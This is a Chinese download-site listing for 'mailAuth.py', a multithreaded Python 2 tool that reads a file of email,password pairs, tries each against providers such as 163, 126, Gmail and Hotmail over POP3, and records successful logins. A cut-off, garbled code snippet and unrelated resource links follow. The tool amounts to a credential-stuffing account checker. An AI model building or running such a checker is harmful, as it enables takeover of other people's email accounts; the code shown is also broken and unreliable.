资源简介
Python写的通用邮箱批量验证程序,支持国内QQ,163,263,126,E邮,新浪,全球的gmail,谷歌企业邮箱,微软,雅虎等等各种邮箱。多线程可以指定线程数。
使用格式:
./mailAuth.py [start_line_number]
email_list_file是存放的邮箱列表,里面的邮箱和密码用英文半角逗号隔开。
最后一个参数可选,是从第几行开始。
菜鸟作品,功能少代码量大……潶阔大牛们懂的。
代码片段和文件信息
#!/usr/bin/python
import sys
import os
import time
import getpasspoplibimaplibsmtplib
import re
import linecache
import threading
import thread
import dns.resolver
import string
import base64
class AuthEmail(threading.Thread):
def __init__(selffileInput):
threading.Thread.__init__(self)
self.filehandle = fileInput
def highlight(selfs):
return “%s[30;2m%s%s[1m“%(chr(27) s chr(27))
def inRed(selfs):
return self.highlight(‘‘) + “%s[31;2m%s%s[0m“%(chr(27) s chr(27))
def inGreen(selfs):
return self.highlight(‘‘) + “%s[32;2m%s%s[0m“%(chr(27) s chr(27))
def run(self):
global mutex
global currentline
while True:
#print line;
mutex.acquire()
line = linecache.getline(self.filehandlecurrentline)
if len(line)<1:
break
currentline += 1
mutex.release()
content=line.split(‘‘)
if(len(content)==2) :
email=content[0]
password=content[1]
if password[-1]==‘\n‘:
password = password[0:-1]
print “[Line:%s]now test: “ % (currentline-1) +email+“--“+password
if(self.isValidEmail(email.strip() password.strip())):
SS = content[0] + “ login success!!!“
print self.inGreen(SS)
mutex.acquire()
self.writeResultFile(‘s‘line)
mutex.release()
else:
FF = content[0] + “ login fail...“
print self.inRed(FF)
mutex.acquire()
self.writeResultFile(‘f‘line)
mutex.release()
else:
print “Ignore an error line...“
def getPopMail(selfmailDomain ):
if( mailDomain == ‘163‘ ):
mail = poplib.POP3(‘pop.163.com‘timeout = 5 );
elif( mailDomain == ‘gmail‘ ):
mail = poplib.POP3_SSL(‘pop.gmail.com‘);
elif( mailDomain == ‘126‘ ):
mail = poplib.POP3(‘pop.126.com‘timeout = 5 );
elif ( mailDomain == ‘hotmail‘ ):
mail = poplib.POP3_SSL(‘pop3.live.com‘);
elif ( mailDomain == ‘yahoo‘ ):
mail = ““;
elif ( mailDomain == ‘sina‘ ):
print “Sina Email Can‘t be Vertified!“;
return mail
def isValidEmail(selfemailpassword):
emailparts = email.split(‘@‘)
regmail = re.compile(‘gmail‘)
re163 = re.compile(‘163‘)
reyahoo = re.compile(‘yahoo‘)
re126 = re.compile(‘126‘)
resina = re.compile(‘sina‘)
rehotmail = re.compile(‘outlook|hotmail|live‘)
subDomain = ““
if( len( emailparts ) != 2 ):
print “Email Fomat Error “
return 0
if( regmail.match( str(emailparts[1]))):
subDomain = ‘gmail‘;
elif( re163.match( str(emailparts[1]))):
subDomain = ‘163‘;
elif( reyahoo.match( str(emailparts[1]))):
subDomain = ‘yahoo‘;
ret = “
相关资源
- python+ selenium教程
- PycURL(Windows7/Win32)Python2.7安装包 P
- 英文原版-Scientific Computing with Python
- 7.图像风格迁移 基于深度学习 pyt
- 基于Python的学生管理系统
- A Byte of Python(简明Python教程)(第
- Python实例174946
- Python 人脸识别
- Python 人事管理系统
- 基于python-flask的个人博客系统
- 计算机视觉应用开发流程
- python 调用sftp断点续传文件
- python socket游戏
- 基于Python爬虫爬取天气预报信息
- python函数编程和讲解
- Python开发的个人博客
- 基于python的三层神经网络模型搭建
- python实现自动操作windows应用
- python人脸识别(opencv)
- python 绘图(方形、线条、圆形)
- python疫情卡UN管控
- python 连连看小游戏源码
- 基于PyQt5的视频播放器设计
- 一个简单的python爬虫
- csv文件行列转换python实现代码
- Python操作Mysql教程手册
- Python Machine Learning Case Studies
- python获取硬件信息
- 量化交易(附python常见函数的使用方
- python 名字用字排行
评论
共有 条评论